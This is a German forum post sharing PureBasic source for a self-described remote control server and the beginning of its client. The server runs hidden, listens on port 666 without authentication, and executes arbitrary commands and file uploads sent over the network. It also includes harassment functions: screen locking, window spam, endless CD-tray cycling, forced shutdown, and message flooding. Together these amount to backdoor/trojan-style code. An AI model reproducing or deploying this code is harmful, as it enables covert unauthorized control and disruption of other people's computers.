Ich habe schon vor längerer Zeit angefangen ein Remote Control Programm nach dem Client/Server Prinzip zu proggen, hab dann aber aufgehört, weil es Probleme mit der Synchronisation, die ich zur Abfrage des Serverstatus eingabaut habe gab. Außerdem gab es Probleme beim Versenden einer Datei übers Netzwerk. Ebenfalls gab es Probleme beim Pingen.
Das ganze Programm/Code ist noch ziemlich experimentell. Gesteuert wird das ganze über eine Kommandozeile. eine Version mit GUI hab ich auch schon, doch ich dachte mir, ich sollte ersteinmal den Server vollenden.
Hier der Code für den Server:
Code: Alles auswählen
Global Appname.s,hWnd.l,MainBrush.l,Maxx.l,Maxy.l
MainBrush = GetStockObject_(#NULL_BRUSH)
Appname = "MyClassWindow"
Maxx = GetSystemMetrics_(#SM_CXSCREEN)
Maxy = GetSystemMetrics_(#SM_CYSCREEN)
Procedure WndProc(wnd,Message,wParam,lParam)
Ret.l = DefWindowProc_(wnd, Message, wParam, lParam)
Select Message
; ***********************
Case #WM_CLOSE
; ***********************
UnregisterClass_(AppName$,hInstance)
DeleteObject_(MainBrush)
PostQuitMessage_(0)
EndSelect
ProcedureReturn Ret
EndProcedure
wc.WNDCLASS
wc\style = #CS_VREDRAW | #CS_HREDRAW
wc\lpfnWndProc = @WndProc()
wc\cbClsExtra = 0
wc\cbWndExtra = 0
wc\hInstance = GetModuleHandle_(0)
wc\hIcon = LoadIcon_(hInstance, "#1")
wc\hCursor = LoadCursor_(0, #IDC_ARROW)
wc\hbrBackground = MainBrush
wc\lpszMenuName = 0
wc\lpszClassName = @Appname
RegisterClass_(wc)
Procedure HideWindowFromShowingInTaskbar(WindowID, NewWindowHandle, show)
If show=1
HideWindow(WindowID,1)
EndIf
SetWindowLong_(WindowID(WindowID),#GWL_HWNDPARENT,NewWindowHandle)
If show=1
HideWindow(WindowID,0)
EndIf
ProcedureReturn
EndProcedure
Procedure wndspam(title$)
OpenWindow(0, 0, 0, 0, 0,0, "Not Needed")
HideWindow(0,1)
w = GetSystemMetrics_(#SM_CXSCREEN)
h = GetSystemMetrics_(#SM_CYSCREEN)
For a = 1 To 200
OpenWindow(a,Random(w-200),Random(h-200),200,200,#PB_Window_SystemMenu,title$)
HideWindowFromShowingInTaskbar(a,WindowID(0),0)
Delay(1)
Next a
back:
Repeat
Select WaitWindowEvent()
Case #WM_CLOSE
quit=1
Default
EndSelect
Until quit=1
quit=0
CloseWindow(a)
a=a-1
If a=1
Goto ende3
EndIf
Goto back
ende3:
CloseWindow(0)
EndProcedure
Procedure listfiles(dir$,clientid)
SendNetworkString(clientid,"5")
Delay(1)
SendNetworkString(clientid,"Inhalt von "+dir$)
Delay(1)
Ok=ExamineDirectory(0,dir$,"*.*")
If Ok=0
SendNetworkString(clientid,"Verzeichnis kann nicht durchsucht werden!")
Delay(1)
SendNetworkString(clientid,"6")
Goto ende
EndIf
entries=1
Repeat
Next=NextDirectoryEntry()
If Next=1
FileName$ = DirectoryEntryName()
Size = DirectoryEntrySize()
size$=Str(Size)
line$=FileName$+" "+size$
SendNetworkString(clientid,line$)
EndIf
If Next=2
FileName$ = DirectoryEntryName()
line$=FileName$+" <DIR>"
SendNetworkString(clientid,line$)
EndIf
entries=entries+1
If entries=45
entries=1
Delay(1)
SendNetworkString(clientid,"7")
Repeat
Until NetworkServerEvent()=2
EndIf
Delay(1)
Until Next=0
SendNetworkString(clientid,"6")
ende:
EndProcedure
#ICC_USEREX_CLASSES = $200
#WS_CHILD = $40000000
#WS_VISIBLE = $10000000
#CBS_DROPDOWN = 2
#CBS_AUTOHSCROLL = $40
#WS_VSCROLL = $200000
#SHGFI_SYSICONINDEX = $4000
#SHGFI_SMALLICON = 1
#CLR_NONE = $FFFFFFFF
#CBEM_SETIMAGELIST = $00000402
#CBEM_INSERTITEM = $00000401
#CBEIF_TEXT = $00000001
#CBEIF_IMAGE = $00000002
#CBEIF_SELECTEDIMAGE = $00000004
#CB_SETCURSEL = $14E
#DRIVE_REMOVABLE = 2
#DRIVE_FIXED = 3
#DRIVE_REMOTE = 4
#DRIVE_CDROM = 5
#DRIVE_RAMDISK = 6
Structure DriveInfos
DriveLetter.s
DriveType.l
DriveTypeString.s
NameOfVolume.s
EndStructure
Procedure GetAllDrives(clientid)
SendNetworkString(clientid,"5")
Delay(1)
SendNetworkString(clientid,"Laufwerke auf Host:")
Delay(1)
SendNetworkString(clientid,"-------------------")
Delay(1)
; create linked list to store drive name
NewList Drive.DriveInfos()
; Get all drives letter
AllDrivesNames.s = Space(255) ; AllDrivesNames receive string from GetLogicalDriveStrings API
*AllDrivesNames.l = @AllDrivesNames
DrivesExist.l = GetLogicalDriveStrings_(255,*AllDrivesNames)
NbOfDrives.b = 0
If DrivesExist
NbOfDrives = DrivesExist/4
lpFileSystemNameBuffer.s = Space(255)
For i.b = 1 To NbOfDrives
AddElement(Drive())
;;-------- Drive letter
;; Drive()\Name have 3 chars : first the drive letter
;; second ":"
;; third "\"
Drive()\DriveLetter = UCase(PeekS(*AllDrivesNames,3))
driveletter$=UCase(PeekS(*AllDrivesNames,3))
*AllDrivesNames + 4
;;-------- Volume name
Drive()\NameOfVolume = ""
GetVolumeInformation_(Drive()\DriveLetter,Drive()\NameOfVolume,255,0,0,0,lpFileSystemNameBuffer,255)
If Len(Drive()\NameOfVolume)
drivename$ = UCase(Left(Drive()\NameOfVolume ,1)) + LCase(Mid(Drive()\NameOfVolume ,2,Len(Drive()\NameOfVolume)-1))
Else
drivename$ = "Keine Bezeichnung"
EndIf
; determine type of drive
Drive()\DriveType = GetDriveType_(@Drive()\DriveLetter)
Select Drive()\DriveType
Case 0 ; drive not determined
drivetype$ = "Unbekannter Typ"
Case 1 ; 1 The root directory does not exist
drivetype$ = "Rootverzeichnis existiert nicht"
Case #DRIVE_REMOVABLE ;The drive can be removed from the drive.
drivetype$ = "Diskettenlaufwerk"
Case #DRIVE_FIXED ; The disk cannot be removed from the drive.
drivetype$ = "HDD"
Case #DRIVE_REMOTE ; The drive is a remote (network) drive.
drivetype$="Netzlaufwerk"
Case #DRIVE_CDROM ; The drive is a CD-ROM drive.
drivetype$="CD-ROM"
Case #DRIVE_RAMDISK ; The drive is a RAM disk.
drivetype$="RAM-Disk"
Default
drivetype$="Unbekannter Typ"
EndSelect
drive$=driveletter$+" "+drivename$+" "+drivetype$
SendNetworkString(clientid,drive$)
Delay(1)
Next i
EndIf
SendNetworkString(clientid,"6")
EndProcedure
Procedure SetLEDKey(key$,newstate)
Select LCase(key$)
Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
EndSelect
If oldstate<>newstate
keybd_event_(keycode,1,0,0)
keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
EndIf
EndProcedure
#IOCTL_STORAGE_EJECT_MEDIA = $2D4808
#IOCTL_STORAGE_LOAD_MEDIA = $2D480C
Procedure EjectCD(LW.s)
Protected hLwStatus.l
hLwStatus = CreateFile_("\\.\"+LW,#GENERIC_READ|#GENERIC_WRITE, 0, 0, #OPEN_EXISTING, 0, 0)
If hLwStatus
DeviceIoControl_(hLwStatus,#IOCTL_STORAGE_EJECT_MEDIA,0,0,0,0,@Ret,0)
CloseHandle_(hLwStatus)
EndIf
EndProcedure
Procedure LoadCD(LW.s)
Protected hLwStatus.l
hLwStatus = CreateFile_("\\.\"+LW,#GENERIC_READ|#GENERIC_WRITE, 0, 0, #OPEN_EXISTING, 0, 0)
If hLwStatus
DeviceIoControl_(hLwStatus,#IOCTL_STORAGE_LOAD_MEDIA,0,0,0,0,@Ret,0)
CloseHandle_(hLwStatus)
EndIf
EndProcedure
#CLSCTX_INPROC_SERVER = $1
#CLSCTX_INPROC_HANDLER = $2
#CLSCTX_LOCAL_SERVER = $4
#CLSCTX_REMOTE_SERVER = $10
#CLSCTX_ALL = (#CLSCTX_INPROC_SERVER|#CLSCTX_INPROC_HANDLER|#CLSCTX_LOCAL_SERVER|#CLSCTX_REMOTE_SERVER)
Procedure InitSpeech()
Shared VoiceObject
CoInitialize_(0)
If CoCreateInstance_(?CLSID_SpVoice, 0, #CLSCTX_ALL, ?IID_ISpVoice, @VoiceObject) = 0
ProcedureReturn 1
Else
ProcedureReturn 0
EndIf
DataSection
CLSID_SpVoice:
;96749377-3391-11D2-9EE3-00C04F797396
Data.l $96749377
Data.w $3391,$11D2
Data.b $9E,$E3,$00,$C0,$4F,$79,$73,$96
IID_ISpVoice:
;6C44DF74-72B9-4992-A1EC-EF996E0422D4
Data.l $6C44DF74
Data.w $72B9,$4992
Data.b $A1,$EC,$EF,$99,$6E,$04,$22,$D4
EndDataSection
EndProcedure
Procedure Speak(String.s)
Shared VoiceObject
length = Len(String)*2+10
*mem = AllocateMemory(1,length,0)
MultiByteToWideChar_(#CP_ACP ,0,String,-1,*mem,length)
CallCOM(80,VoiceObject,*mem,0,0)
EndProcedure
Procedure CloseSpeech()
Shared VoiceObject
CallCOM(08,VoiceObject)
CoUninitialize_()
EndProcedure
Structure PROCESS_MEMORY_COUNTERS
cb.l
PageFaultCount.l
PeakWorkingSetSize.l
WorkingSetSize.l
QuotaPeakPagedPoolUsage.l
QuotaPagedPoolUsage.l
QuotaPeakNonPagedPoolUsage.l
QuotaNonPagedPoolUsage.l
PageFileUsage.l
PeakPagefileUsage.l
EndStructure
#OWNER_SECURITY_INFORMATION = $00000001
#GROUP_SECURITY_INFORMATION = $00000002
#DACL_SECURITY_INFORMATION = $00000004
#SACL_SECURITY_INFORMATION = $00000008
#PROCESS_TERMINATE = $0001
#PROCESS_CREATE_THREAD = $0002
#PROCESS_SET_SESSIONID = $0004
#PROCESS_VM_OPERATION = $0008
#PROCESS_VM_READ = $0010
#PROCESS_VM_WRITE = $0020
#PROCESS_DUP_HANDLE = $0040
#PROCESS_CREATE_PROCESS = $0080
#PROCESS_SET_QUOTA = $0100
#PROCESS_SET_INFORMATION = $0200
#PROCESS_QUERY_INFORMATION = $0400
#PROCESS_ALL_ACCESS = #STANDARD_RIGHTS_REQUIRED | #SYNCHRONIZE | $FFF
#NbProcessesMax = 10000
Dim ProcessesArray(#NbProcessesMax)
Procedure GetProcessListNt(clientid)
SendNetworkString(clientid,"Laufende Prozesse auf "+computername$+":")
If OpenLibrary(0, "psapi.dll")
EnumProcesses = IsFunction(0, "EnumProcesses")
EnumProcessModules = IsFunction(0, "EnumProcessModules")
GetModuleBaseName = IsFunction(0, "GetModuleBaseNameA")
If EnumProcesses And EnumProcessModules And GetModuleBaseName; Be sure we have detected all the functions
CallFunctionFast(EnumProcesses, ProcessesArray(), #NbProcessesMax, @nProcesses)
For k=1 To nProcesses/4
hProcess = OpenProcess_(#PROCESS_QUERY_INFORMATION | #PROCESS_VM_READ, 0, ProcessesArray(k-1))
If hProcess
CallFunctionFast(EnumProcessModules, hProcess, @BaseModule, 4, @cbNeeded)
Name$ = Space(255)
CallFunctionFast(GetModuleBaseName, hProcess, BaseModule, @Name$, Len(Name$))
hprocess$=Str(hProcess)
If k=45
SendNetworkString(clientid,"7")
Repeat
Until NetworkServerEvent()=2
Delay(1)
EndIf
SendNetworkString(clientid,name$)
Delay(1)
CloseHandle_(hProcess)
EndIf
Next
EndIf
CloseLibrary(0)
EndIf
EndProcedure
Structure SERVER_INFO_101
dwPlatformId.l
lpszServerName.l
dwVersionMajor.l
dwVersionMinor.l
dwType.l
lpszComment.l
EndStructure
Structure WKSTA_INFO_100
wki100_platform_id.l ;Indicates level to use for get platform-specific info.
wki100_computername.l;Contains name of local computer in Unicode
wki100_langroup.l;Contains domain computer belongs to in Unicode
wki100_ver_major.l;Holds Major version number of OS on local computer
wki100_ver_minor.l;Holds Minor version number of OS on local computer
EndStructure
#MAX_PREFERRED_LENGTH = -1
#SV_TYPE_ALL =$FFFFFFFF
#NERR_SUCCESS = 0
#ERROR_MORE_DATA = 234
Procedure GetServerList()
se101.SERVER_INFO_101
nStructSize = SizeOf(SERVER_INFO_101)
RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
;Loop through And the Data in the memory
For i = 0 To dwEntriesread - 1
CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
Buffer.s=Space(512)
Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
PrintN(Buffer)
Next
EndIf
NetApiBufferFree_(bufptr)
EndProcedure
Procedure.s GetLocalSystemName()
twkstaInfo100.WKSTA_INFO_100
lwkstaInfo100.l
nStructSize=SizeOf(WKSTA_INFO_100)
Result= NetWkstaGetInfo_(0, 100, @lwkstaInfo100)
If Result=0
CMResult=CopyMemory( lwkstaInfo100,@twkstaInfo100, nStructSize)
Buffer.s=Space(512)
Result=WideCharToMultiByte_(#CP_ACP ,0,twkstaInfo100\wki100_computername,-1,@Buffer.s,512,0,0)
ProcedureReturn Trim(Buffer)
Else
ProcedureReturn "DAMM :("
EndIf
EndProcedure
Procedure NTSendMessage(NTFrom.s,NTTo.s,NTMessage.s)
Buffer1 = AllocateMemory(1, Len(NTTo)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTTo,-1,Buffer1,Len(NTTo)*2)
Buffer2 = AllocateMemory(2, Len(NTFrom)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTFrom,-1,Buffer2,Len(NTFrom)*2)
buf.s="MeineNachricht"
buflen.l=Len(NTMessage)
Buffer3 = AllocateMemory(3, Len(NTMessage)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTMessage.s,-1,Buffer3,buflen*2)
Result=NetMessageBufferSend_(0,Buffer1,Buffer2,Buffer3,buflen*2)
FreeMemory(1)
FreeMemory(2)
FreeMemory(3)
EndProcedure
Procedure.s GetDateString()
GetLocalTime_(@s.SYSTEMTIME)
Month$ = Str(s\wMonth)
Day$ = Str(s\wDay)
If Len(Month$) = 1 : Month$ = "0"+Month$ : EndIf
If Len(Day$) = 1 : Day$ = "0"+Day$ : EndIf
Date$ = Day$+"."+Month$+"."+Str(s\wYear)
ProcedureReturn Date$
EndProcedure
Procedure.s GetTimeString()
GetLocalTime_(@s.SYSTEMTIME)
Hour$ = Str(s\wHour)
Minute$ = Str(s\wMinute)
Second$ = Str(s\wSecond)
If Len(Hour$) = 1 : Hour$ = "0"+Hour$ : EndIf
If Len(Minute$) = 1 : Minute$ = "0"+Minute$ : EndIf
If Len(Second$) = 1 : Second$ = "0"+Second$ : EndIf
Time$ = Hour$+":"+Minute$+":"+Second$+" "
ProcedureReturn Time$
EndProcedure
#SERVERVERSION="0.3.4.0.5 Beta"
lpCmdLine = GetCommandLine_()
myposition$ = PeekS(lpCmdLine)
hidden=1
retry:
InitNetwork()
If CreateNetworkServer(666)=0
Goto retry
EndIf
mainloop:
Repeat
Select clienton
Case 0
Select NetworkServerEvent()
Case 1
clienton=1
Buffer2.s = Space(1024)
bufsize.l = 1024
GetComputerName_(@Buffer2, @bufsize)
computername$=PeekS(Buffer2,bufsize)
bufsize.l = 1024
GetUserName_(@Buffer2, @bufsize)
username$=PeekS(Buffer2,bufsize)
clientid=NetworkClientID()
SendNetworkString(clientid,"Willkommen auf URCP-Server "+#SERVERVERSION+"!")
SendNetworkString(clientid,"@"+computername$+"/"+username$+" "+GetDateString()+" "+GetTimeString())
EndSelect
Case 1
Select NetworkServerEvent()
Case 4
clienton=0
Goto mainloop
Case 2
Buffer=AllocateMemory(0,1024,0)
ReceiveNetworkData(clientid,Buffer,1024)
cmdstring$=PeekS(Buffer)
FreeMemory(0)
Gosub executecmd
EndSelect
EndSelect
Until quit=1
End
Procedure picbox(pic$)
OpenWindow(0, 0, 0, 0, 0,0, "Not Needed")
HideWindow(0,1)
LoadImage(0,pic$)
OpenWindow(1,0,0,ImageWidth(),ImageHeight(),#PB_Window_SystemMenu,"")
HideWindowFromShowingInTaskbar(1,WindowID(0), 0)
CreateGadgetList(WindowID())
ImageGadget(0,0,0,ImageWidth(),ImageHeight(),ImageID(),0)
Repeat
Select WaitWindowEvent()
Case #WM_CLOSE
quit=1
Default
EndSelect
Until quit=1
CloseWindow(1)
quit=0
EndProcedure
executecmd:
If FindString(cmdstring$,"runcmd",1)=1
cmd$=Mid(cmdstring$,8,255)
SendNetworkString(clientid,"1")
RunProgram(cmd$,"",0)
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"lockmouse",1)=1
SendNetworkString(clientid,"1")
text$=Mid(cmdstring$,11,255)
SendNetworkString(clientid,"1")
hWnd = CreateWindowEx_(0,Appname,"",#WS_POPUP|#WS_VISIBLE,0,0,Maxx,Maxy,0,0,GetModuleHandle_(0),0)
TextOut_(GetDC_(hWnd),0,0,text$,Len(text$))
If hWnd
While GetMessage_(m.MSG, 0, 0, 0)
TranslateMessage_(m)
DispatchMessage_(m)
Wend
EndIf
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"wndspam",1)=1
title$=Mid(cmdstring$,9,255)
SendNetworkString(clientid,"1")
wndspam(title$)
cmdstring$=""
Return
EndIf
If cmdstring$="srvpos"
SendNetworkString(clientid,"5")
Delay(1)
SendNetworkString(clientid,myposition$)
Delay(1)
SendNetworkString(clientid,"6")
cmdstring$=""
Return
EndIf
If cmdstring$="drivelist"
GetAllDrives(clientid)
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"dir",1)=1
dir$=Mid(cmdstring$,5,255)
listfiles(dir$,clientid)
dir$=""
cmdstring$=""
Return
EndIf
If cmdstring$="proclist"
SendNetworkString(clientid,"5")
Delay(1)
GetProcessListNt(clientid)
Delay(1)
SendNetworkString(clientid,"6")
Name$=""
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"kbleds",1)=1
opt$=Mid(cmdstring$,8,1)
If opt$=""
SendNetworkString(clientid,"2")
cmdstring$=""
Return
EndIf
opt=Val(opt$)
SendNetworkString(clientid,"3")
Select opt
Case 1
Repeat
SetLEDKey("c",1)
Delay(250)
SetLEDKey("c",0)
SetLEDKey("n",1)
Delay(250)
SetLEDKey("n",0)
SetLEDKey("s",1)
Delay(250)
SetLEDKey("s",0)
Until NetworkServerEvent()=2
SendNetworkString(clientid,"4")
Case 2
Repeat
SetLEDKey("n",1)
Delay(500)
SetLEDKey("n",0)
Delay(500)
SetLEDKey("c",1)
Delay(500)
SetLEDKey("c",0)
Delay(500)
SetLEDKey("s",1)
Delay(500)
SetLEDKey("s",0)
Delay(500)
Until NetworkServerEvent()=2
SendNetworkString(clientid,"4")
Case 3
Repeat
SetLEDKey("n",1)
SetLEDKey("c",1)
SetLEDKey("s",1)
Delay(500)
SetLEDKey("n",0)
SetLEDKey("c",0)
SetLEDKey("s",0)
Delay(500)
Until NetworkServerEvent()=2
SendNetworkString(clientid,"4")
Default
EndSelect
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"cdtray",1)=1
drive$=Mid(cmdstring$,8,2)
If drive$=""
SendNetworkString(clientid,"2")
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"-terror",1)>0
SendNetworkString(clientid,"3")
Repeat
EjectCD(drive$)
LoadCD(drive$)
Until NetworkServerEvent()=2
SendNetworkString(clientid,"4")
cmdstring$=""
Return
EndIf
If opened=0
EjectCD(drive$)
opened=1
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
If opened=1
LoadCD(drive$)
opened=0
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
EndIf
If FindString(cmdstring$,"speak",1)=1
text$=Mid(cmdstring$,7,255)
If text$=""
SendNetworkString(clientid,"2")
cmdstring$=""
Return
EndIf
InitSpeech()
Speak(text$)
CloseSpeech()
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"cp2srv",1)=1
file$=Mid(cmdstring$,8,255)
Repeat
Until NetworkServerEvent()=2
Buffer=AllocateMemory(0,255,0)
ReceiveNetworkData(clientid,Buffer,255)
dest$=PeekS(Buffer)
FreeMemory(0)
SendNetworkString(clientid,"1")
Repeat
Until NetworkServerEvent()=2
ReceiveNetworkFile(clientid,dest$)
SendNetworkString(clientid,"1")
cmdstring$=""
file$=""
dest$=""
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"picbox",1)=1
pic$=Mid(cmdstring$,8,255)
SendNetworkString(clientid,"1")
picbox(pic$)
cmdstring$=""
Return
EndIf
If cmdstring$="hide"
If hidden=0
CloseConsole()
hidden=1
SendNetworkString(clientid,"1")
EndIf
cmdstring$=""
Return
EndIf
If cmdstring$="show"
If hidden=1
OpenConsole()
ConsoleTitle("URCP-Server "+#SERVERVERSION)
hidden=0
SendNetworkString(clientid,"1")
EndIf
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"playwav",1)=1
snd$=Mid(cmdstring$,9,255)
InitSound()
If LoadSound(0,snd$)=0
SendNetworkString(clientid,"2")
cmdstring$=""
Goto executecmd
EndIf
PlaySound(0)
cmdstring$=""
SendNetworkString(clientid,"1")
Return
EndIf
If FindString(cmdstring$,"playmp3",1)=1
snd$=Mid(cmdstring$,9,255)
If snd$=""
cmdstring$=""
SendNetworkString(clientid,"1")
Goto executecmd
EndIf
InitMovie()
If LoadMovie(0,snd$)=0
SendNetworkString(clientid,"2")
cmdstring$=""
Goto executecmd
EndIf
PlayMovie(0,WindowID())
playingmp3=1
cmdstring$=""
SendNetworkString(clientid,"1")
Return
EndIf
If FindString(cmdstring$,"stopmp3",1)=1
StopMovie()
SendNetworkString(clientid,"1")
Return
EndIf
If cmdstring$="killsrv"
SendNetworkString(clientid,"1")
End
EndIf
If cmdstring$="srvinfo"
SendNetworkString(clientid,"5")
Delay(10)
SendNetworkString(clientid,"URCP-Server "+#SERVERVERSION)
Delay(10)
SendNetworkString(clientid,"@"+computername$+"/"+username$+" "+GetDateString()+" "+GetTimeString())
Delay(10)
SendNetworkString(clientid,"6")
cmdstring$=""
Return
EndIf
If cmdstring$="disconnect"
cmdstring$=""
clienton=0
CloseNetworkConnection(clientid)
Goto mainloop
EndIf
If FindString(cmdstring$,"restart",1)=1
If Mid(cmdstring$,9,255)=""
params$="-r -f -t 0"
Else
params$=Mid(cmdstring$,9,255)
EndIf
RunProgram("shutdown",params$,0)
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"shutdown",1)=1
If Mid(cmdstring$,10,255)=""
params$="-s -f -t 0"
Else
params$=Mid(cmdstring$,10,255)
EndIf
If FindString(cmdstring$,"-speak",1)=1
InitSpeech()
Speak("This Computer will be shutdown in 3 seconds")
Delay(3000)
Speak("3")
Delay(1000)
Speak("2")
Delay(1000)
Speak("1")
Delay(1000)
CloseSpeech()
EndIf
RunProgram("shutdown",params$,0)
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
If FindString(cmdstring$,"msgbox",1)=1
parampos=FindString(cmdstring$,"-speak",1)
If parampos=0
parampos=255
EndIf
string$=Mid(cmdstring$,8,parampos)
If parampos<255
InitSpeech()
Speak(string$)
CloseSpeech()
MessageRequester("",string$,0)
Else
MessageRequester("",string$,0)
EndIf
SendNetworkString(clientid,"1")
cmdstring$=""
Return
EndIf
SendNetworkString(clientid,"0")
cmdstring$=""
Return
Code: Alles auswählen
Procedure view_progress(Count,loopy)
ClearConsole()
PrintN("SPAMME...")
If loopy=1
PrintN("Endlosschleife...")
EndIf
count$=Str(Count)
PrintN(count$+" Nachrichten gesendet!")
PrintN("ABBRUCH MIT BELIEBIGER TASTE!")
EndProcedure
Structure SERVER_INFO_101
dwPlatformId.l
lpszServerName.l
dwVersionMajor.l
dwVersionMinor.l
dwType.l
lpszComment.l
EndStructure
Structure WKSTA_INFO_100
wki100_platform_id.l ;Indicates level to use for get platform-specific info.
wki100_computername.l;Contains name of local computer in Unicode
wki100_langroup.l;Contains domain computer belongs to in Unicode
wki100_ver_major.l;Holds Major version number of OS on local computer
wki100_ver_minor.l;Holds Minor version number of OS on local computer
EndStructure
#MAX_PREFERRED_LENGTH = -1
#SV_TYPE_ALL =$FFFFFFFF
#NERR_SUCCESS = 0
#ERROR_MORE_DATA = 234
Procedure GetServerList()
se101.SERVER_INFO_101
nStructSize = SizeOf(SERVER_INFO_101)
RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
;Loop through And the Data in the memory
For i = 0 To dwEntriesread - 1
CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
Buffer.s=Space(512)
Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
PrintN(Buffer)
Next
EndIf
NetApiBufferFree_(bufptr)
EndProcedure
Procedure.s GetLocalSystemName()
twkstaInfo100.WKSTA_INFO_100
lwkstaInfo100.l
nStructSize=SizeOf(WKSTA_INFO_100)
Result= NetWkstaGetInfo_(0, 100, @lwkstaInfo100)
If Result=0
CMResult=CopyMemory( lwkstaInfo100,@twkstaInfo100, nStructSize)
Buffer.s=Space(512)
Result=WideCharToMultiByte_(#CP_ACP ,0,twkstaInfo100\wki100_computername,-1,@Buffer.s,512,0,0)
ProcedureReturn Trim(Buffer)
Else
ProcedureReturn "DAMM :("
EndIf
EndProcedure
Procedure NTSendMessage(NTFrom.s,NTTo.s,NTMessage.s)
Buffer1 = AllocateMemory(1, Len(NTTo)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTTo,-1,Buffer1,Len(NTTo)*2)
Buffer2 = AllocateMemory(2, Len(NTFrom)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTFrom,-1,Buffer2,Len(NTFrom)*2)
buf.s="MeineNachricht"
buflen.l=Len(NTMessage)
Buffer3 = AllocateMemory(3, Len(NTMessage)*2, 0)
Result=MultiByteToWideChar_(#CP_ACP ,0,NTMessage.s,-1,Buffer3,buflen*2)
Result=NetMessageBufferSend_(0,Buffer1,Buffer2,Buffer3,buflen*2)
FreeMemory(1)
FreeMemory(2)
FreeMemory(3)
EndProcedure
Structure HOSTENT
h_name.l
h_aliases.l
h_addrtype.w
h_length.w
h_addr_list.l
EndStructure
#MAX_PREFERRED_LENGTH = -1
#SV_TYPE_ALL = $FFFFFFFF
#NERR_SUCCESS = 0
#ERROR_MORE_DATA = 234
#MainWindow = 100
#MMTB = 200
Global MMTextBox
Procedure Message (m.s)
WriteMessage.s
WriteMessage +Chr(13)+Chr(10)+m
SetGadgetText(#MMTB,GetGadgetText(#MMTB) + WriteMessage )
SendMessage_(MMTextBox,$00B6,0,10000)
EndProcedure
Procedure.s GetIPbyName (NameIP.s)
TheIPAdress.s
If InitNetwork()
pHostinfo = gethostbyname_(NameIP)
If pHostinfo = 0
TheIPAdress = "Namensauflösung auf Host deaktiviert!"
Else
CopyMemory (pHostinfo, hostinfo.HOSTENT, SizeOf(HOSTENT))
If hostinfo\h_addrtype <> #AF_INET
PrintN("Namensauflösung auf Host deaktiviert!")
Else
While PeekL(hostinfo\h_addr_list+AdressNumber*4)
ipAddress = PeekL(hostinfo\h_addr_list+AdressNumber*4)
TheIPAdress = StrU(PeekB(ipAddress),0)+"."+StrU(PeekB(ipAddress+1),0)+"."+StrU(PeekB(ipAddress+2),0)+"."+StrU(PeekB(ipAddress+3),0)
AdressNumber+1
Wend
EndIf
EndIf
Else
PrintN("Netzwerk kann nicht initialisiert werden!")
EndIf
ProcedureReturn TheIPAdress
EndProcedure
Procedure GetLANList()
IPResult.s
se101.SERVER_INFO_101
nStructSize = SizeOf(SERVER_INFO_101)
RetCode = NetServerEnum_(0, 101, @bufptr, #MAX_PREFERRED_LENGTH, @dwEntriesread, @dwTotalentries, #SV_TYPE_ALL, 0, @dwResumehandle)
If RetCode = #NERR_SUCCESS And RetCode <> #ERROR_MORE_DATA
For i = 0 To dwEntriesread - 1
CopyMemory( bufptr + (nStructSize * i),@se101, nStructSize)
Buffer.s=Space(512)
Result=WideCharToMultiByte_(#CP_ACP ,0,se101\lpszServerName,255,@Buffer.s,512,0,0)
IPResult = GetIPbyName (Buffer)
PrintN(IPResult)
Next
Else
PrintN("Fehler!")
EndIf
NetApiBufferFree_(bufptr)
EndProcedure
Procedure timeout(a,connectionid)
StartTimer=GetTickCount_()
timeout=a
Repeat
newtick=GetTickCount_()
If newtick=StartTimer+timeout
timeout=1
Goto ende
EndIf
Until NetworkClientEvent(connectionid)=2
timeout=0
ende:
ProcedureReturn timeout
EndProcedure
Procedure timeouterr()
PrintN("")
PrintN("SERVER TIMEOUT")
PrintN("Keine Antwort vom Server empfangen.")
PrintN("Verbindung getrennt.")
EndProcedure
Procedure.s ReceiveNetworkString(connectionid)
Buffer=AllocateMemory(0,255,0)
ReceiveNetworkData(connectionid,Buffer,255)
String.s=PeekS(Buffer)
FreeMemory(0)
ProcedureReturn String.s
EndProcedure
#VERSION="0.1.9.3.5 Alpha"
#CLIENTVERSION="0.2.6.8.5 Beta"
OpenConsole()
ClearConsole()
PrintN("Ultimate Network And Remote Control Program by Butcher")
PrintN("------------------------------------------------------")
mainmenu:
ConsoleTitle("UNARCP "+#VERSION+" by Butchermaster")
PrintN("")
Print("<UNARCP>")
choice$=Input()
If FindString(choice$,"connect",1)=1
Goto connecttoserver
EndIf
If choice$="list"
Gosub lanlist
EndIf
If FindString(choice$,"netsend",1)=1
Gosub netsend
EndIf
If FindString(choice$,"msgspam",1)=1
Gosub msgspam
EndIf
If choice$="clear"
ClearConsole()
EndIf
If choice$="version"
